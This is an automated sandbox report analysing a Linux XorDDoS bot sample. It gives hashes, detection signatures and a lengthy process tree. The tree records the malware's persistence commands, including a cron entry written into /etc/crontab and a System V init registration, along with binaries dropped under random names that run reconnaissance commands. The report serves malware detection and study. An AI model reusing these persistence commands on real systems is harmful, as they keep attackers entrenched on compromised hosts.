Edit tour

Linux Analysis Report
Di1p3oLnDb.elf

Overview

General Information

Sample Name:	Di1p3oLnDb.elf
Analysis ID:	716619
MD5:	96671eab0913c0003c63f4d2c50318db
SHA1:	0ef56578885236f87ae7f1c7580b8ed50c9ade77
SHA256:	5a7d7f1d53f039e7b69cf8d040cc043d1264b14107a8a73034e6b90d8e81f87a
Tags:	elf
Infos:

Detection

XorDDoS

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus detection for dropped file

Yara detected XorDDoS Bot

Snort IDS alert for network traffic

Sample tries to persist itself using System V runlevels

Machine Learning detection for dropped file

Sample tries to persist itself using cron

Drops files in suspicious directories

Sample deletes itself

Machine Learning detection for sample

Writes ELF files to disk

Yara signature match

Drops files with innocent-looking names

PID-file does not contain an ASCII number

Writes shell script files to disk

Reads system information from the proc file system

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "systemctl" command used for controlling the systemd system and service manager

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample has stripped symbol table

Executes commands using a shell command-line interpreter

Reads CPU information from /proc indicative of miner or evasive malware

Writes shell script file to disk with an unusual file extension

Classification

Analysis Advice

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	716619
Start date and time:	2022-10-05 13:39:13 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Di1p3oLnDb.elf
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/21@5/0

Warnings

VT rate limit hit for: ppp.gggatat456.com

Runtime Messages

Command:	/tmp/Di1p3oLnDb.elf
PID:	6224
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

Di1p3oLnDb.elf (PID: 6224, Parent: 6130, MD5: 96671eab0913c0003c63f4d2c50318db) Arguments: /tmp/Di1p3oLnDb.elf

Di1p3oLnDb.elf New Fork (PID: 6225, Parent: 6224)

Di1p3oLnDb.elf New Fork (PID: 6226, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6227, Parent: 6226)

Di1p3oLnDb.elf New Fork (PID: 6228, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6229, Parent: 6228)

update-rc.d (PID: 6229, Parent: 1860, MD5: 16a21f464119ea7fad1d3660de963637) Arguments: update-rc.d Di1p3oLnDb.elf defaults

update-rc.d New Fork (PID: 6235, Parent: 6229)

systemctl (PID: 6235, Parent: 6229, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

Di1p3oLnDb.elf New Fork (PID: 6230, Parent: 6225)

sh (PID: 6230, Parent: 6225, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "sed -i '/\\/etc\\/cron.hourly\\/gcc.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab"

sh New Fork (PID: 6231, Parent: 6230)

sed (PID: 6231, Parent: 6230, MD5: 885062561f66aa1d4af4c54b9e7cc81a) Arguments: sed -i /\\/etc\\/cron.hourly\\/gcc.sh/d /etc/crontab

Di1p3oLnDb.elf New Fork (PID: 6257, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6258, Parent: 6257)

qhknhggmjf (PID: 6258, Parent: 6257, MD5: 7cd491e3750c0e09a84213102078562c) Arguments: /usr/bin/qhknhggmjf "sleep 1" 6225

qhknhggmjf New Fork (PID: 6261, Parent: 6258)

Di1p3oLnDb.elf New Fork (PID: 6259, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6260, Parent: 6259)

qhknhggmjf (PID: 6260, Parent: 6259, MD5: 7cd491e3750c0e09a84213102078562c) Arguments: /usr/bin/qhknhggmjf "netstat -an" 6225

qhknhggmjf New Fork (PID: 6264, Parent: 6260)

Di1p3oLnDb.elf New Fork (PID: 6262, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6263, Parent: 6262)

qhknhggmjf (PID: 6263, Parent: 6262, MD5: 7cd491e3750c0e09a84213102078562c) Arguments: /usr/bin/qhknhggmjf "netstat -an" 6225

qhknhggmjf New Fork (PID: 6268, Parent: 6263)

Di1p3oLnDb.elf New Fork (PID: 6265, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6266, Parent: 6265)

qhknhggmjf (PID: 6266, Parent: 6265, MD5: 7cd491e3750c0e09a84213102078562c) Arguments: /usr/bin/qhknhggmjf su 6225

qhknhggmjf New Fork (PID: 6270, Parent: 6266)

Di1p3oLnDb.elf New Fork (PID: 6267, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6269, Parent: 6267)

qhknhggmjf (PID: 6269, Parent: 6267, MD5: 7cd491e3750c0e09a84213102078562c) Arguments: /usr/bin/qhknhggmjf pwd 6225

qhknhggmjf New Fork (PID: 6273, Parent: 6269)

Di1p3oLnDb.elf New Fork (PID: 6275, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6276, Parent: 6275)

ltaanxttrs (PID: 6276, Parent: 6275, MD5: e51ed28589d76c5f8fc2ad7ea9c1cc03) Arguments: /usr/bin/ltaanxttrs "netstat -antop" 6225

ltaanxttrs New Fork (PID: 6277, Parent: 6276)

Di1p3oLnDb.elf New Fork (PID: 6278, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6279, Parent: 6278)

ltaanxttrs (PID: 6279, Parent: 6278, MD5: e51ed28589d76c5f8fc2ad7ea9c1cc03) Arguments: /usr/bin/ltaanxttrs su 6225

ltaanxttrs New Fork (PID: 6284, Parent: 6279)

Di1p3oLnDb.elf New Fork (PID: 6282, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6283, Parent: 6282)

ltaanxttrs (PID: 6283, Parent: 6282, MD5: e51ed28589d76c5f8fc2ad7ea9c1cc03) Arguments: /usr/bin/ltaanxttrs pwd 6225

ltaanxttrs New Fork (PID: 6287, Parent: 6283)

Di1p3oLnDb.elf New Fork (PID: 6285, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6286, Parent: 6285)

ltaanxttrs (PID: 6286, Parent: 6285, MD5: e51ed28589d76c5f8fc2ad7ea9c1cc03) Arguments: /usr/bin/ltaanxttrs "cd /etc" 6225

ltaanxttrs New Fork (PID: 6290, Parent: 6286)

Di1p3oLnDb.elf New Fork (PID: 6288, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6289, Parent: 6288)

ltaanxttrs (PID: 6289, Parent: 6288, MD5: e51ed28589d76c5f8fc2ad7ea9c1cc03) Arguments: /usr/bin/ltaanxttrs sh 6225

ltaanxttrs New Fork (PID: 6291, Parent: 6289)

Di1p3oLnDb.elf New Fork (PID: 6294, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6295, Parent: 6294)

kihierzlde (PID: 6295, Parent: 6294, MD5: 3ae356a1821888903e278250f3a77d3b) Arguments: /usr/bin/kihierzlde "cat resolv.conf" 6225

kihierzlde New Fork (PID: 6297, Parent: 6295)

Di1p3oLnDb.elf New Fork (PID: 6296, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6298, Parent: 6296)

kihierzlde (PID: 6298, Parent: 6296, MD5: 3ae356a1821888903e278250f3a77d3b) Arguments: /usr/bin/kihierzlde gnome-terminal 6225

kihierzlde New Fork (PID: 6301, Parent: 6298)

Di1p3oLnDb.elf New Fork (PID: 6299, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6300, Parent: 6299)

kihierzlde (PID: 6300, Parent: 6299, MD5: 3ae356a1821888903e278250f3a77d3b) Arguments: /usr/bin/kihierzlde who 6225

kihierzlde New Fork (PID: 6306, Parent: 6300)

Di1p3oLnDb.elf New Fork (PID: 6302, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6303, Parent: 6302)

kihierzlde (PID: 6303, Parent: 6302, MD5: 3ae356a1821888903e278250f3a77d3b) Arguments: /usr/bin/kihierzlde ifconfig 6225

kihierzlde New Fork (PID: 6307, Parent: 6303)

Di1p3oLnDb.elf New Fork (PID: 6304, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6305, Parent: 6304)

kihierzlde (PID: 6305, Parent: 6304, MD5: 3ae356a1821888903e278250f3a77d3b) Arguments: /usr/bin/kihierzlde whoami 6225

kihierzlde New Fork (PID: 6308, Parent: 6305)

Di1p3oLnDb.elf New Fork (PID: 6311, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6312, Parent: 6311)

thgxtutpuw (PID: 6312, Parent: 6311, MD5: dc66ac7ec93e0ec52d5b4c1039769dd1) Arguments: /usr/bin/thgxtutpuw "netstat -antop" 6225

thgxtutpuw New Fork (PID: 6313, Parent: 6312)

Di1p3oLnDb.elf New Fork (PID: 6314, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6315, Parent: 6314)

thgxtutpuw (PID: 6315, Parent: 6314, MD5: dc66ac7ec93e0ec52d5b4c1039769dd1) Arguments: /usr/bin/thgxtutpuw "echo \"find\"" 6225

thgxtutpuw New Fork (PID: 6318, Parent: 6315)

Di1p3oLnDb.elf New Fork (PID: 6316, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6317, Parent: 6316)

thgxtutpuw (PID: 6317, Parent: 6316, MD5: dc66ac7ec93e0ec52d5b4c1039769dd1) Arguments: /usr/bin/thgxtutpuw sh 6225

thgxtutpuw New Fork (PID: 6324, Parent: 6317)

Di1p3oLnDb.elf New Fork (PID: 6319, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6320, Parent: 6319)

thgxtutpuw (PID: 6320, Parent: 6319, MD5: dc66ac7ec93e0ec52d5b4c1039769dd1) Arguments: /usr/bin/thgxtutpuw "cd /etc" 6225

thgxtutpuw New Fork (PID: 6323, Parent: 6320)

Di1p3oLnDb.elf New Fork (PID: 6321, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6322, Parent: 6321)

thgxtutpuw (PID: 6322, Parent: 6321, MD5: dc66ac7ec93e0ec52d5b4c1039769dd1) Arguments: /usr/bin/thgxtutpuw who 6225

thgxtutpuw New Fork (PID: 6325, Parent: 6322)

Di1p3oLnDb.elf New Fork (PID: 6328, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6329, Parent: 6328)

dwfhzeeizt (PID: 6329, Parent: 6328, MD5: 2394c32c9bf33731ba0aea110fffaaf0) Arguments: /usr/bin/dwfhzeeizt top 6225

dwfhzeeizt New Fork (PID: 6330, Parent: 6329)

Di1p3oLnDb.elf New Fork (PID: 6331, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6332, Parent: 6331)

dwfhzeeizt (PID: 6332, Parent: 6331, MD5: 2394c32c9bf33731ba0aea110fffaaf0) Arguments: /usr/bin/dwfhzeeizt ifconfig 6225

dwfhzeeizt New Fork (PID: 6335, Parent: 6332)

Di1p3oLnDb.elf New Fork (PID: 6333, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6334, Parent: 6333)

dwfhzeeizt (PID: 6334, Parent: 6333, MD5: 2394c32c9bf33731ba0aea110fffaaf0) Arguments: /usr/bin/dwfhzeeizt "echo \"find\"" 6225

dwfhzeeizt New Fork (PID: 6338, Parent: 6334)

Di1p3oLnDb.elf New Fork (PID: 6336, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6337, Parent: 6336)

dwfhzeeizt (PID: 6337, Parent: 6336, MD5: 2394c32c9bf33731ba0aea110fffaaf0) Arguments: /usr/bin/dwfhzeeizt bash 6225

dwfhzeeizt New Fork (PID: 6341, Parent: 6337)

Di1p3oLnDb.elf New Fork (PID: 6339, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6340, Parent: 6339)

dwfhzeeizt (PID: 6340, Parent: 6339, MD5: 2394c32c9bf33731ba0aea110fffaaf0) Arguments: /usr/bin/dwfhzeeizt whoami 6225

dwfhzeeizt New Fork (PID: 6342, Parent: 6340)

Di1p3oLnDb.elf New Fork (PID: 6345, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6346, Parent: 6345)

xmnjiktnas (PID: 6346, Parent: 6345, MD5: ddd43550bad564e41b77604693a62617) Arguments: /usr/bin/xmnjiktnas gnome-terminal 6225

xmnjiktnas New Fork (PID: 6347, Parent: 6346)

Di1p3oLnDb.elf New Fork (PID: 6348, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6349, Parent: 6348)

xmnjiktnas (PID: 6349, Parent: 6348, MD5: ddd43550bad564e41b77604693a62617) Arguments: /usr/bin/xmnjiktnas who 6225

xmnjiktnas New Fork (PID: 6350, Parent: 6349)

Di1p3oLnDb.elf New Fork (PID: 6351, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6352, Parent: 6351)

xmnjiktnas (PID: 6352, Parent: 6351, MD5: ddd43550bad564e41b77604693a62617) Arguments: /usr/bin/xmnjiktnas "ifconfig eth0" 6225

xmnjiktnas New Fork (PID: 6358, Parent: 6352)

Di1p3oLnDb.elf New Fork (PID: 6353, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6354, Parent: 6353)

xmnjiktnas (PID: 6354, Parent: 6353, MD5: ddd43550bad564e41b77604693a62617) Arguments: /usr/bin/xmnjiktnas ls 6225

xmnjiktnas New Fork (PID: 6361, Parent: 6354)

Di1p3oLnDb.elf New Fork (PID: 6357, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6359, Parent: 6357)

xmnjiktnas (PID: 6359, Parent: 6357, MD5: ddd43550bad564e41b77604693a62617) Arguments: /usr/bin/xmnjiktnas "netstat -an" 6225

xmnjiktnas New Fork (PID: 6360, Parent: 6359)

Di1p3oLnDb.elf New Fork (PID: 6365, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6366, Parent: 6365)

bvyxmkkmbp (PID: 6366, Parent: 6365, MD5: 1c69907b9b1ea6970ce38e0262ee82e1) Arguments: /usr/bin/bvyxmkkmbp gnome-terminal 6225

bvyxmkkmbp New Fork (PID: 6367, Parent: 6366)

Di1p3oLnDb.elf New Fork (PID: 6368, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6369, Parent: 6368)

bvyxmkkmbp (PID: 6369, Parent: 6368, MD5: 1c69907b9b1ea6970ce38e0262ee82e1) Arguments: /usr/bin/bvyxmkkmbp ifconfig 6225

bvyxmkkmbp New Fork (PID: 6371, Parent: 6369)

Di1p3oLnDb.elf New Fork (PID: 6370, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6372, Parent: 6370)

bvyxmkkmbp (PID: 6372, Parent: 6370, MD5: 1c69907b9b1ea6970ce38e0262ee82e1) Arguments: /usr/bin/bvyxmkkmbp bash 6225

bvyxmkkmbp New Fork (PID: 6377, Parent: 6372)

Di1p3oLnDb.elf New Fork (PID: 6373, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6374, Parent: 6373)

bvyxmkkmbp (PID: 6374, Parent: 6373, MD5: 1c69907b9b1ea6970ce38e0262ee82e1) Arguments: /usr/bin/bvyxmkkmbp "sleep 1" 6225

bvyxmkkmbp New Fork (PID: 6378, Parent: 6374)

Di1p3oLnDb.elf New Fork (PID: 6375, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6376, Parent: 6375)

bvyxmkkmbp (PID: 6376, Parent: 6375, MD5: 1c69907b9b1ea6970ce38e0262ee82e1) Arguments: /usr/bin/bvyxmkkmbp "sleep 1" 6225

bvyxmkkmbp New Fork (PID: 6379, Parent: 6376)

Di1p3oLnDb.elf New Fork (PID: 6384, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6385, Parent: 6384)

hszflciagy (PID: 6385, Parent: 6384, MD5: 518f3cac4283fc9eee5d8d2f61a93231) Arguments: /usr/bin/hszflciagy bash 6225

hszflciagy New Fork (PID: 6386, Parent: 6385)

Di1p3oLnDb.elf New Fork (PID: 6387, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6388, Parent: 6387)

hszflciagy (PID: 6388, Parent: 6387, MD5: 518f3cac4283fc9eee5d8d2f61a93231) Arguments: /usr/bin/hszflciagy uptime 6225

hszflciagy New Fork (PID: 6391, Parent: 6388)

Di1p3oLnDb.elf New Fork (PID: 6389, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6390, Parent: 6389)

hszflciagy (PID: 6390, Parent: 6389, MD5: 518f3cac4283fc9eee5d8d2f61a93231) Arguments: /usr/bin/hszflciagy "ps -ef" 6225

hszflciagy New Fork (PID: 6392, Parent: 6390)

Di1p3oLnDb.elf New Fork (PID: 6393, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6394, Parent: 6393)

hszflciagy (PID: 6394, Parent: 6393, MD5: 518f3cac4283fc9eee5d8d2f61a93231) Arguments: /usr/bin/hszflciagy "ls -la" 6225

hszflciagy New Fork (PID: 6397, Parent: 6394)

Di1p3oLnDb.elf New Fork (PID: 6395, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6396, Parent: 6395)

hszflciagy (PID: 6396, Parent: 6395, MD5: 518f3cac4283fc9eee5d8d2f61a93231) Arguments: /usr/bin/hszflciagy "netstat -an" 6225

hszflciagy New Fork (PID: 6398, Parent: 6396)

Di1p3oLnDb.elf New Fork (PID: 6401, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6402, Parent: 6401)

dvisuvnfsi (PID: 6402, Parent: 6401, MD5: 34a7f54873746b3448c4e06af756c541) Arguments: /usr/bin/dvisuvnfsi ls 6225

dvisuvnfsi New Fork (PID: 6403, Parent: 6402)

Di1p3oLnDb.elf New Fork (PID: 6404, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6405, Parent: 6404)

dvisuvnfsi (PID: 6405, Parent: 6404, MD5: 34a7f54873746b3448c4e06af756c541) Arguments: /usr/bin/dvisuvnfsi bash 6225

dvisuvnfsi New Fork (PID: 6406, Parent: 6405)

Di1p3oLnDb.elf New Fork (PID: 6407, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6408, Parent: 6407)

dvisuvnfsi (PID: 6408, Parent: 6407, MD5: 34a7f54873746b3448c4e06af756c541) Arguments: /usr/bin/dvisuvnfsi "sleep 1" 6225

dvisuvnfsi New Fork (PID: 6411, Parent: 6408)

Di1p3oLnDb.elf New Fork (PID: 6409, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6410, Parent: 6409)

dvisuvnfsi (PID: 6410, Parent: 6409, MD5: 34a7f54873746b3448c4e06af756c541) Arguments: /usr/bin/dvisuvnfsi "echo \"find\"" 6225

dvisuvnfsi New Fork (PID: 6414, Parent: 6410)

Di1p3oLnDb.elf New Fork (PID: 6412, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6413, Parent: 6412)

dvisuvnfsi (PID: 6413, Parent: 6412, MD5: 34a7f54873746b3448c4e06af756c541) Arguments: /usr/bin/dvisuvnfsi "route -n" 6225

dvisuvnfsi New Fork (PID: 6415, Parent: 6413)

Di1p3oLnDb.elf New Fork (PID: 6418, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6419, Parent: 6418)

zzdslzxygn (PID: 6419, Parent: 6418, MD5: 8dc652fcadce3231649681ae716b8941) Arguments: /usr/bin/zzdslzxygn "sleep 1" 6225

zzdslzxygn New Fork (PID: 6420, Parent: 6419)

Di1p3oLnDb.elf New Fork (PID: 6421, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6422, Parent: 6421)

zzdslzxygn (PID: 6422, Parent: 6421, MD5: 8dc652fcadce3231649681ae716b8941) Arguments: /usr/bin/zzdslzxygn "cat resolv.conf" 6225

zzdslzxygn New Fork (PID: 6425, Parent: 6422)

Di1p3oLnDb.elf New Fork (PID: 6423, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6424, Parent: 6423)

zzdslzxygn (PID: 6424, Parent: 6423, MD5: 8dc652fcadce3231649681ae716b8941) Arguments: /usr/bin/zzdslzxygn "netstat -an" 6225

zzdslzxygn New Fork (PID: 6428, Parent: 6424)

Di1p3oLnDb.elf New Fork (PID: 6426, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6427, Parent: 6426)

zzdslzxygn (PID: 6427, Parent: 6426, MD5: 8dc652fcadce3231649681ae716b8941) Arguments: /usr/bin/zzdslzxygn ifconfig 6225

zzdslzxygn New Fork (PID: 6431, Parent: 6427)

Di1p3oLnDb.elf New Fork (PID: 6429, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6430, Parent: 6429)

zzdslzxygn (PID: 6430, Parent: 6429, MD5: 8dc652fcadce3231649681ae716b8941) Arguments: /usr/bin/zzdslzxygn sh 6225

zzdslzxygn New Fork (PID: 6432, Parent: 6430)

Di1p3oLnDb.elf New Fork (PID: 6435, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6436, Parent: 6435)

koygrrjkon (PID: 6436, Parent: 6435, MD5: f52674a9af3a42b5b8edf7c4ca4a5159) Arguments: /usr/bin/koygrrjkon su 6225

koygrrjkon New Fork (PID: 6437, Parent: 6436)

Di1p3oLnDb.elf New Fork (PID: 6438, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6439, Parent: 6438)

koygrrjkon (PID: 6439, Parent: 6438, MD5: f52674a9af3a42b5b8edf7c4ca4a5159) Arguments: /usr/bin/koygrrjkon "netstat -antop" 6225

koygrrjkon New Fork (PID: 6441, Parent: 6439)

Di1p3oLnDb.elf New Fork (PID: 6440, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6442, Parent: 6440)

koygrrjkon (PID: 6442, Parent: 6440, MD5: f52674a9af3a42b5b8edf7c4ca4a5159) Arguments: /usr/bin/koygrrjkon "ps -ef" 6225

koygrrjkon New Fork (PID: 6445, Parent: 6442)

Di1p3oLnDb.elf New Fork (PID: 6443, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6444, Parent: 6443)

koygrrjkon (PID: 6444, Parent: 6443, MD5: f52674a9af3a42b5b8edf7c4ca4a5159) Arguments: /usr/bin/koygrrjkon pwd 6225

koygrrjkon New Fork (PID: 6448, Parent: 6444)

Di1p3oLnDb.elf New Fork (PID: 6446, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6447, Parent: 6446)

koygrrjkon (PID: 6447, Parent: 6446, MD5: f52674a9af3a42b5b8edf7c4ca4a5159) Arguments: /usr/bin/koygrrjkon "cd /etc" 6225

koygrrjkon New Fork (PID: 6451, Parent: 6447)

Di1p3oLnDb.elf New Fork (PID: 6455, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6456, Parent: 6455)

uvilsmwwhk (PID: 6456, Parent: 6455, MD5: 599e094cfebd26a090e3c4d84dea2eec) Arguments: /usr/bin/uvilsmwwhk pwd 6225

uvilsmwwhk New Fork (PID: 6457, Parent: 6456)

Di1p3oLnDb.elf New Fork (PID: 6458, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6459, Parent: 6458)

uvilsmwwhk (PID: 6459, Parent: 6458, MD5: 599e094cfebd26a090e3c4d84dea2eec) Arguments: /usr/bin/uvilsmwwhk su 6225

uvilsmwwhk New Fork (PID: 6461, Parent: 6459)

Di1p3oLnDb.elf New Fork (PID: 6460, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6462, Parent: 6460)

uvilsmwwhk (PID: 6462, Parent: 6460, MD5: 599e094cfebd26a090e3c4d84dea2eec) Arguments: /usr/bin/uvilsmwwhk "sleep 1" 6225

uvilsmwwhk New Fork (PID: 6467, Parent: 6462)

Di1p3oLnDb.elf New Fork (PID: 6463, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6464, Parent: 6463)

uvilsmwwhk (PID: 6464, Parent: 6463, MD5: 599e094cfebd26a090e3c4d84dea2eec) Arguments: /usr/bin/uvilsmwwhk "route -n" 6225

uvilsmwwhk New Fork (PID: 6469, Parent: 6464)

Di1p3oLnDb.elf New Fork (PID: 6465, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6466, Parent: 6465)

uvilsmwwhk (PID: 6466, Parent: 6465, MD5: 599e094cfebd26a090e3c4d84dea2eec) Arguments: /usr/bin/uvilsmwwhk top 6225

uvilsmwwhk New Fork (PID: 6468, Parent: 6466)

Di1p3oLnDb.elf New Fork (PID: 6472, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6473, Parent: 6472)

ilrbozcctp (PID: 6473, Parent: 6472, MD5: 84093139500509d4abf65bf4368660c3) Arguments: /usr/bin/ilrbozcctp "netstat -an" 6225

ilrbozcctp New Fork (PID: 6474, Parent: 6473)

Di1p3oLnDb.elf New Fork (PID: 6475, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6476, Parent: 6475)

ilrbozcctp (PID: 6476, Parent: 6475, MD5: 84093139500509d4abf65bf4368660c3) Arguments: /usr/bin/ilrbozcctp "ps -ef" 6225

ilrbozcctp New Fork (PID: 6479, Parent: 6476)

Di1p3oLnDb.elf New Fork (PID: 6477, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6478, Parent: 6477)

ilrbozcctp (PID: 6478, Parent: 6477, MD5: 84093139500509d4abf65bf4368660c3) Arguments: /usr/bin/ilrbozcctp "netstat -antop" 6225

ilrbozcctp New Fork (PID: 6482, Parent: 6478)

Di1p3oLnDb.elf New Fork (PID: 6480, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6481, Parent: 6480)

ilrbozcctp (PID: 6481, Parent: 6480, MD5: 84093139500509d4abf65bf4368660c3) Arguments: /usr/bin/ilrbozcctp "netstat -antop" 6225

ilrbozcctp New Fork (PID: 6485, Parent: 6481)

Di1p3oLnDb.elf New Fork (PID: 6483, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6484, Parent: 6483)

ilrbozcctp (PID: 6484, Parent: 6483, MD5: 84093139500509d4abf65bf4368660c3) Arguments: /usr/bin/ilrbozcctp gnome-terminal 6225

ilrbozcctp New Fork (PID: 6486, Parent: 6484)

Di1p3oLnDb.elf New Fork (PID: 6489, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6490, Parent: 6489)

gwqnqvffue (PID: 6490, Parent: 6489, MD5: 583764d38d6a3b24a072ba12c518ef07) Arguments: /usr/bin/gwqnqvffue "echo \"find\"" 6225

gwqnqvffue New Fork (PID: 6491, Parent: 6490)

Di1p3oLnDb.elf New Fork (PID: 6492, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6493, Parent: 6492)

gwqnqvffue (PID: 6493, Parent: 6492, MD5: 583764d38d6a3b24a072ba12c518ef07) Arguments: /usr/bin/gwqnqvffue pwd 6225

gwqnqvffue New Fork (PID: 6496, Parent: 6493)

Di1p3oLnDb.elf New Fork (PID: 6494, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6495, Parent: 6494)

gwqnqvffue (PID: 6495, Parent: 6494, MD5: 583764d38d6a3b24a072ba12c518ef07) Arguments: /usr/bin/gwqnqvffue "ps -ef" 6225

gwqnqvffue New Fork (PID: 6500, Parent: 6495)

Di1p3oLnDb.elf New Fork (PID: 6497, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6498, Parent: 6497)

gwqnqvffue (PID: 6498, Parent: 6497, MD5: 583764d38d6a3b24a072ba12c518ef07) Arguments: /usr/bin/gwqnqvffue "ps -ef" 6225

gwqnqvffue New Fork (PID: 6503, Parent: 6498)

Di1p3oLnDb.elf New Fork (PID: 6499, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6501, Parent: 6499)

gwqnqvffue (PID: 6501, Parent: 6499, MD5: 583764d38d6a3b24a072ba12c518ef07) Arguments: /usr/bin/gwqnqvffue "netstat -an" 6225

gwqnqvffue New Fork (PID: 6502, Parent: 6501)

Di1p3oLnDb.elf New Fork (PID: 6507, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6508, Parent: 6507)

cbsypxwvhg (PID: 6508, Parent: 6507, MD5: ae6611a97543fac2cdd1c7b430747d8f) Arguments: /usr/bin/cbsypxwvhg whoami 6225

cbsypxwvhg New Fork (PID: 6509, Parent: 6508)

Di1p3oLnDb.elf New Fork (PID: 6510, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6511, Parent: 6510)

cbsypxwvhg (PID: 6511, Parent: 6510, MD5: ae6611a97543fac2cdd1c7b430747d8f) Arguments: /usr/bin/cbsypxwvhg gnome-terminal 6225

cbsypxwvhg New Fork (PID: 6513, Parent: 6511)

Di1p3oLnDb.elf New Fork (PID: 6512, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6514, Parent: 6512)

cbsypxwvhg (PID: 6514, Parent: 6512, MD5: ae6611a97543fac2cdd1c7b430747d8f) Arguments: /usr/bin/cbsypxwvhg "ifconfig eth0" 6225

cbsypxwvhg New Fork (PID: 6517, Parent: 6514)

Di1p3oLnDb.elf New Fork (PID: 6515, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6516, Parent: 6515)

cbsypxwvhg (PID: 6516, Parent: 6515, MD5: ae6611a97543fac2cdd1c7b430747d8f) Arguments: /usr/bin/cbsypxwvhg id 6225

cbsypxwvhg New Fork (PID: 6520, Parent: 6516)

Di1p3oLnDb.elf New Fork (PID: 6518, Parent: 6225)

Di1p3oLnDb.elf New Fork (PID: 6519, Parent: 6518)

